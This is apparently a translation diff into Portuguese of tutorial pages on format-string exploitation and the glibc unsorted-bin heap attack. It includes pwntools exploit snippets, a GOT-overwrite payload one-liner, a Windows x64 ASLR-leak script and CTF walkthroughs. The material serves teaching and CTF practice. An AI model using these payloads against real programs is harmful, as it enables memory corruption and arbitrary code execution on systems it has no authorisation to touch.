Translated ['', 'src/binary-exploitation/stack-overflow/stack-shellcode/

src/binary-exploitation/format-strings/README.md

@@ -5,13 +5,13 @@
 
 ## Informações Básicas
 
-Em C **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os especificadores de formato**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **especificadores de formato** do texto bruto.
+Em C, a função **`printf`** pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** no texto bruto.
 
 Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
 
-A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** desta função. O atacante poderá criar uma **entrada especial explorando** as capacidades da **printf format string** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Dessa forma, é possível **executar código arbitrário**.
+A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** dessa função. O atacante poderá criar uma **entrada especial abusando** da **string de formato do printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escritável)**. Dessa forma, é possível **executar código arbitrário**.
 
-#### Especificadores de formato:
+#### Formatadores:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -35,7 +35,7 @@ printf(buffer);  // If buffer contains "%x", it reads from the stack.
 int value = 1205;
 printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
 ```
-- Com argumentos ausentes:
+- Com Argumentos Ausentes:
 ```c
 printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
 ```
@@ -54,7 +54,7 @@ return 0;
 ```
 ### **Acessando Ponteiros**
 
-O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
+O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da stack). Então, se você quiser ler o 4º parâmetro da stack usando printf você poderia fazer:
 ```c
 printf("%x %x %x %x")
 ```
@@ -66,14 +66,14 @@ printf("%4$x")
 ```
 e ler diretamente o quarto.
 
-Observe que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada vai estar na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack.
+Perceba que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada estará na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack.
 
 > [!CAUTION]
-> Um atacante controlando essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento.
+> Um atacante que controle essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento.
 
 ## **Arbitrary Read**
 
-É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **posição n**, seguir esse endereço e **imprimi-lo como se fosse uma string** (imprime até encontrar 0x00). Então, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com:
+É possível usar o formatter **`%n$s`** para fazer o **`printf`** obter o **endereço** situado na **posição n**, segui-lo e **imprimi-lo como se fosse uma string** (imprime até encontrar um 0x00). Assim, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com:
 ```python
 from pwn import *
 
@@ -91,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 
 ### Encontrar offset
 
-Para encontrar o offset para sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
+Para encontrar o offset para a sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
 
 <details>
 
@@ -128,25 +128,25 @@ p.close()
 
 ### Quão útil
 
-Leituras arbitrárias podem ser úteis para:
+Arbitrary reads podem ser úteis para:
 
-- **Dump** do **binary** da memória
-- **Acessar partes específicas da memória onde informações sensíveis são armazenadas** (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Dump** the **binary** da memória
+- **Access specific parts of memory where sensitive** **info** is stored (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-O formatador **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro <num> na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele poderá fazer com que **`%<num>$n`** escreva um número arbitrário em um endereço arbitrário.
+O formatter **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no <num> param na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele conseguirá fazer com que **`%<num>$n`** escreva um número arbitrário em um endereço arbitrário.
 
-Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s na entrada; para isso é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
+Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s ao input; em vez disso é possível usar o formatter **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-No entanto, note que normalmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma só vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos.
+No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos.
 
 Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (arbitrary write).**
 
-Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada depois. Embora isso possa explorar outras técnicas de arbitrary write para execução:
+Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada posteriormente. Embora isso possa abusar de outras técnicas de arbitrary write para exec:
 
 
 {{#ref}}
@@ -154,12 +154,12 @@ Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **funç
 {{#endref}}
 
 Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
-Como mencionado, para escrever o endereço normalmente são necessários 2 passos: você **escreve primeiro 2 Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**.
+Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**.
 
-- **HOB** refere-se aos 2 bytes mais altos do endereço
-- **LOB** refere-se aos 2 bytes mais baixos do endereço
+- **HOB** refere-se aos 2 higher bytes of the address
+- **LOB** refere-se aos 2 lower bytes of the address
 
-Então, por causa de como o format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
+Então, devido a como format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
 
 Se HOB < LOB\
 `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Template do Pwntools
+### Pwntools Template
 
-Você pode encontrar um **modelo** para preparar um exploit para este tipo de vulnerabilidade em:
+Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em:
 
 
 {{#ref}}
 format-strings-template.md
 {{#endref}}
 
-Ou este exemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
+Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
 ```python
 from pwn import *
 
@@ -201,26 +201,26 @@ p.interactive()
 ```
 ## Format Strings to BOF
 
-É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços do stack** e explorar um tipo de vulnerabilidade **buffer overflow**.
+É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços da stack** e explorar um tipo de vulnerabilidade **buffer overflow**.
 
 
 ## Windows x64: Format-string leak to bypass ASLR (no varargs)
 
-On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos buggy call-sites a string controlada pelo atacante é usada como o argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo:
+On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos locais de chamada com bug, a string controlada pelo atacante é usada como argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
 _snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 ```
-Porque nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura para "%p" vem de R9. Qualquer valor transitório que esteja em R9 no call-site será impresso. Na prática isso frequentemente leaked um ponteiro estável in-module (por exemplo, um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um callee-saved value), o que pode ser usado para recuperar o module base e derrotar ASLR.
+Como nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura desse tipo para "%p" vem de R9. Qualquer valor transitório em R9 no ponto de chamada será impresso. Na prática isso frequentemente causa um leak de um ponteiro estável no módulo (por ex., um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um valor preservado (callee-saved)), que pode ser usado para recuperar a base do módulo e derrotar o ASLR.
 
 Practical workflow:
 
-- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão execute antes de qualquer filtragem.
-- Capture o leaked pointer, identifique o offset estático desse objeto dentro do módulo (by reversing uma vez com símbolos ou uma cópia local), e recupere o image base como `leak - known_offset`.
-- Reuse essa base para calcular endereços absolutos de ROP gadgets e IAT entries remotamente.
+- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão seja executada antes de qualquer filtragem.
+- Capture o ponteiro leakado, identifique o offset estático desse objeto dentro do módulo (por meio de análise reversa com símbolos ou uma cópia local) e recupere a base da imagem como `leak - known_offset`.
+- Reutilize essa base para calcular endereços absolutos de ROP gadgets e entradas IAT remotamente.
 
-Example (abbreviated python):
+Exemplo (python abreviado):
 ```python
 from pwn import remote
 
@@ -233,11 +233,11 @@ base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
 Notas:
-- O offset exato a subtrair é encontrado uma vez durante o reversing local e então reutilizado (mesmo binário/versão).
-- Se "%p" não imprimir um pointer válido na primeira tentativa, tente outros specifiers ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para amostrar outros registers/stack de argumentos.
-- Este padrão é específico da calling convention Windows x64 e das implementações printf-family que buscam varargs inexistentes nos registers quando o format string os solicita.
+- O offset exato a subtrair é encontrado uma vez durante o reversing local e depois reutilizado (mesmo binary/version).
+- Se "%p" não imprimir um ponteiro válido na primeira tentativa, experimente outros especificadores ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para inspecionar outros argument registers/stack.
+- Este padrão é específico da Windows x64 calling convention e de implementações da printf-family que buscam varargs inexistentes em registers quando a format string os solicita.
 
-Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de divulgação de memória.
+Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de memory disclosure.
 
 ## Outros Exemplos & Referências
 
@@ -245,11 +245,11 @@ Esta técnica é extremamente útil para bootstrap ROP em serviços Windows comp
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak da flag a partir da stack (sem necessidade de alterar o fluxo de execução)
+- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak a flag a partir da stack (sem necessidade de alterar o fluxo de execução)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bit, relro, no canary, nx, no pie, format string para sobrescrever o endereço `fflush` com a função win (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para main, `strlen` é executado com input do usuário e, estando apontando para `system`, executará os comandos passados.
+- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna a main, `strlen` é executada com entrada do usuário e apontando para `system`, ela executará os comandos passados.
 
 
 ## Referências

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -4,30 +4,30 @@
 
 ## Informações Básicas
 
-For more information about what is an unsorted bin check this page:
+Para mais informações sobre o que é um unsorted bin, confira esta página:
 
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
+Unsorted lists conseguem escrever o endereço de `unsorted_chunks (av)` no campo `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele pode ser capaz de **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para recuperar endereços do Glibc ou contornar alguma defesa.
 
-So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
+Basicamente, esse ataque permite **colocar um número grande em um endereço arbitrário**. Esse número grande é um endereço, que pode ser um endereço do heap ou do Glibc. Um alvo tradicional era **`global_max_fast`** para permitir criar fast bins com tamanhos maiores (e passar de um unsorted bin attack para um fast bin attack).
 
-- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
+- Observação moderna (glibc ≥ 2.39): `global_max_fast` tornou-se uma global de 8 bits. Escrever cegamente um ponteiro lá via unsorted-bin write irá corromper dados adjacentes do libc e não elevará de forma confiável o limite de fastbin. Prefira outros alvos ou primitivas ao atacar glibc 2.39+. Veja "Modern constraints" abaixo e considere combinar com outras técnicas como um [large bin attack](large-bin-attack.md) ou um [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) uma vez que tenha uma primitiva estável.
 
 > [!TIP]
-> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
+> T> Dando uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache) é possível ver que **hoje em dia** o erro **`malloc(): unsorted double linked list corrupted`** é disparado.
 >
-> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
+> Portanto, esse unsorted bin attack agora (entre outros cheques) também requer ser capaz de consertar a doubly linked list para que isso seja contornado `victim->bk->fd == victim` ou `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso aponte para a arena.
 
 > [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
+> Note que esse ataque corrompe o unsorted bin (portanto small e large também). Assim, agora só podemos **usar alocações do fast bin** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar do mesmo tamanho ou o programa irá travar.**
 >
-> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
+> Note que sobrescrever **`global_max_fast`** pode ajudar nesse caso, confiando que o fast bin cuidará de todas as outras alocações até que o exploit seja completado.
 
-The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
+O código do [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explica muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não cair no Tcache você pode ver que o erro mencionado anteriormente aparece impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
 
 ### Como a escrita realmente acontece
 
@@ -38,34 +38,34 @@ The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_a
 
 ## Restrições modernas (glibc ≥ 2.33)
 
-To use unsorted‑bin writes reliably on current glibc:
+Para usar unsorted‑bin writes de forma confiável no glibc atual:
 
-- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
-- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
-- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
-- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
-- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
-- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
-- Typical stable targets in modern exploits
-- Application or global state that treats "large" values as flags/limits.
-- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
-- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
-- About `global_max_fast` on recent glibc
-- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
+- Interferência do Tcache: para tamanhos que caem no tcache, frees são desviados para lá e não tocarão o unsorted bin. Ou
+  - faça requisições com tamanhos > MAX_TCACHE_SIZE (≥ 0x410 em 64‑bit por padrão), ou
+  - preencha a bin correspondente do tcache (7 entradas) para que frees adicionais atinjam os bins globais, ou
+  - se o ambiente for controlável, desative o tcache (por exemplo, GLIBC_TUNABLES glibc.malloc.tcache_count=0).
+- Checagens de integridade na unsorted list: no próximo caminho de alocação que examina o unsorted bin, o glibc checa (simplificado):
+  - `bck->fd == victim` e `victim->fd == unsorted_chunks(av)`; caso contrário ele aborta com `malloc(): unsorted double linked list corrupted`.
+- Isso significa que o endereço que você mira deve tolerar duas escritas: primeiro `*(TARGET) = victim` em tempo de free; depois, enquanto o chunk é removido, `*(TARGET) = unsorted_chunks(av)` (o allocator reescreve `bck->fd` de volta para a cabeça do bin). Escolha alvos onde simplesmente forçar um valor grande não‑zero seja útil.
+- Alvos típicos e estáveis em exploits modernos
+  - Estado da aplicação ou variáveis globais que tratam valores "grandes" como flags/limites.
+  - Primitivas indiretas (por exemplo, preparar para um subsequente [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ou para pivotar uma escrita write‑what‑where posterior).
+  - Evite `__malloc_hook`/`__free_hook` no glibc novo: eles foram removidos na 2.34. Evite `global_max_fast` em ≥ 2.39 (ver nota anterior).
+- Sobre `global_max_fast` no glibc recente
+  - No glibc 2.39+, `global_max_fast` é uma global de 8‑bits. O truque clássico de escrever um ponteiro de heap ali (para aumentar fastbins) não funciona limpo e provavelmente corromperá o estado do allocator adjacente. Prefira outras estratégias.
 
 ## Receita mínima de exploração (glibc moderno)
 
-Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
+Objetivo: conseguir uma única escrita arbitrária de um ponteiro do heap para um endereço arbitrário usando a primitiva de inserção do unsorted‑bin, sem travar o programa.
 
 - Layout/grooming
-- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
-- Corruption
-- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
-- Trigger
-- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
-- Continuation
-- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
+  - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
+- Corrupção
+  - Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
+- Gatilho
+  - `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
+- Continuação
+  - If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
 
 Pseudocode skeleton:
 ```c
@@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Se você não consegue bypassar o tcache por tamanho, preencha o tcache bin para o tamanho escolhido (7 frees) antes de dar free no chunk corrompido para que o free vá para unsorted.
-> • Se o programa aborta imediatamente na próxima alocação devido às checagens do unsorted-bin, reexamine se `victim->fd` ainda é igual à cabeça do bin e se o seu `TARGET` mantém o ponteiro exato `victim` após a primeira escrita.
+> • Se não conseguir contornar o tcache pelo tamanho, encha o tcache bin para o tamanho escolhido (7 frees) antes de dar free no chunk corrompido para que o free vá para unsorted.
+> • Se o programa abortar imediatamente na próxima allocation devido às checagens do unsorted-bin, reanalise se `victim->fd` ainda é igual ao head do bin e se seu `TARGET` contém o ponteiro exato `victim` após a primeira escrita.
 
 ## Unsorted Bin Infoleak Attack
 
-Isto é, na verdade, um conceito muito básico. Os chunks no unsorted bin vão ter pointers. O primeiro chunk no unsorted bin terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte do main arena (Glibc)**.\
-Portanto, se você conseguir **colocar um chunk dentro de um unsorted bin e lê-lo** (use after free) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **Glibc info leak**.
+Este é, na verdade, um conceito bem básico. Os chunks no unsorted bin vão ter pointers. O primeiro chunk no unsorted bin terá de fato os links **`fd`** e **`bk`** **apontando para uma parte do main arena (Glibc)**.\
+Portanto, se você conseguir **colocar um chunk dentro de um unsorted bin e lê‑lo** (use after free) ou **alocá‑lo novamente sem sobrescrever pelo menos 1 dos pointers** para então **lê‑lo**, você pode obter um **Glibc info leak**.
 
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), foi abusar de uma estrutura de 4 chunks (A, B, C e D - D existe apenas para prevenir consolidação com o top chunk) de modo que um null byte overflow em B foi usado para fazer C indicar que B estava unused. Também, em B o campo `prev_size` foi modificado de modo que o tamanho em vez de ser o tamanho de B era A+B.\
-Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk do tamanho de A foi alocado e então os endereços libc leakados foram escritos em B de onde foram leakados.
+Um ataque semelhante [**usado neste writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistiu em abusar de uma estrutura de 4 chunks (A, B, C e D - D existe apenas para evitar consolidação com o top chunk) de modo que um null byte overflow em B foi usado para fazer C indicar que B estava unused. Além disso, em B o dado `prev_size` foi modificado de forma que o size, ao invés de ser o size de B, era A+B.\
+Então C foi deallocado, e consolidado com A+B (mas B ainda estava in use). Um novo chunk de tamanho A foi alocado e então os endereços libc vazados foram escritos em B, de onde foram leakados.
 
 ## References & Other examples
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
 - O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado.
 - É possível gerar chunks de tamanhos arbitrários e existe um heap overflow com o tamanho desejado.
-- O ataque começa criando 3 chunks: chunk0 para abusar do overflow, chunk1 para ser overflowado e chunk2 para que o top chunk não consolide os anteriores.
-- Então, chunk1 é freeado e chunk0 é overflowado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
-- Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que irá disparar o unsorted bin attack e modificará o valor da variável global, tornando possível obter a flag.
+- O ataque começa criando 3 chunks: chunk0 para abusar do overflow, chunk1 para ser overflowed e chunk2 para que o top chunk não consolide os anteriores.
+- Então, chunk1 é freed e chunk0 é overflowed até o ponteiro `bk` de chunk1 apontar para: `bk = magic - 0x10`
+- Depois, chunk3 é alocado com o mesmo size que chunk1, o que irá disparar o unsorted bin attack e vai modificar o valor da variável global, possibilitando obter a flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- A função merge é vulnerável porque, se ambos os índices passados forem o mesmo, ela fará realloc nele e então o freeará, mas retornará um ponteiro para aquela região liberada que pode ser usada.
-- Portanto, **2 chunks são criados**: **chunk0** que será merged com ele mesmo e chunk1 para prevenir a consolidação com o top chunk. Depois, a **merge function é chamada com chunk0** duas vezes, o que causará um use after free.
-- Então, a função **`view`** é chamada com o índice 2 (que é o índice do chunk com use after free), o que irá leakar um endereço libc.
-- Como o binário tem proteções que só permitem malloc de tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado; um unsorted bin attack será usado para sobrescrever a variável global `global_max_fast`.
-- Depois, é possível chamar a função edit com o índice 2 (o ponteiro do use after free) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk que usará o endereço previamente comprometido (0x20) irá **trigger the unsorted bin attack**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
-- Now a **fast bin attack** is performed:
-- Primeiro, é descoberto que é possível trabalhar com fast **chunks de tamanho 200** na localização **`__free_hook`**:
+- A função merge é vulnerável porque se ambos os índices passados forem o mesmo ela irá realloc sobre ele e então freeá‑lo, mas retornando um ponteiro para aquela região freed que pode ser usada.
+- Portanto, **2 chunks são criados**: **chunk0** que será merged com ele mesmo e chunk1 para prevenir consolidação com o top chunk. Então, a função **merge** é chamada com chunk0 duas vezes o que causará um use after free.
+- Depois, a função **`view`** é chamada com o índice 2 (que é o índice do chunk use after free), o que irá **leak um endereço libc**.
+- Como o binário tem proteções para só mallocar sizes maiores que **`global_max_fast`** então nenhum fastbin é usado, um unsorted bin attack será usado para sobrescrever a variável global `global_max_fast`.
